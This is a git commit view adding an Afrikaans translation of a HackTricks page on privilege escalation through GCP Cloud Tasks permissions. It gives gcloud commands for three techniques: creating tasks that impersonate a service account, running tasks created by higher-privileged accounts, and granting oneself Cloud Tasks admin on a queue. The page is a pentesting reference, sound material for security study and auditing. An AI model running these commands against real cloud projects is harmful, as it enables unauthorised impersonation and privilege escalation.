mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-26 20:54:14 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,45 @@
|
||||
# GCP - Cloud Tasks Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Tasks
|
||||
|
||||
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
'n Aanvaller met hierdie toestemmings kan **ander diensrekeninge naboots** deur take te skep wat met die gespesifiseerde diensrekening se identiteit uitgevoer word. Dit stel in staat om **geoutentiseerde HTTP versoeke na IAM-beskermde Cloud Run of Cloud Functions** dienste te stuur.
|
||||
```bash
|
||||
gcloud tasks create-http-task \
|
||||
task-$(date '+%Y%m%d%H%M%S') \
|
||||
--location us-central1 \
|
||||
--queue <queue_name> \
|
||||
--url 'https://<service_name>.us-central1.run.app' \
|
||||
--method POST \
|
||||
--header 'X-Hello: world' \
|
||||
--body-content '{"hello":"world"}' \
|
||||
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
|
||||
```
|
||||
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
|
||||
|
||||
'n Aanvaller met hierdie toestemmings kan **bestaande geskeduleerde take uitvoer** sonder om toestemmings op die diensrekening wat met die taak geassosieer is, te hê. Dit stel die uitvoering van take wat voorheen met hoër bevoorregte diensrekeninge geskep is, in staat.
|
||||
```bash
|
||||
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
|
||||
```
|
||||
Die hoof wat hierdie opdrag uitvoer **het nie `iam.serviceAccounts.actAs` toestemming** op die diensrekening van die taak nodig nie. Dit laat egter slegs die uitvoering van bestaande take toe - dit gee nie die vermoë om take te skep of te wysig nie.
|
||||
|
||||
### `cloudtasks.queues.setIamPolicy`
|
||||
|
||||
'n Aanvaller met hierdie toestemming kan **hulle self of ander hoofde Cloud Tasks rolle toeken** op spesifieke rye, wat moontlik kan lei tot `roles/cloudtasks.admin` wat die vermoë insluit om take te skep en uit te voer.
|
||||
```bash
|
||||
gcloud tasks queues add-iam-policy-binding \
|
||||
<queue_name> \
|
||||
--location us-central1 \
|
||||
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
|
||||
--role roles/cloudtasks.admin
|
||||
```
|
||||
Dit stel die aanvaller in staat om volle Cloud Tasks admin toestemmings op die wachtrij aan enige diensrekening wat hulle beheer toe te ken.
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [Google Cloud Tasks Dokumentasie](https://cloud.google.com/tasks/docs)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user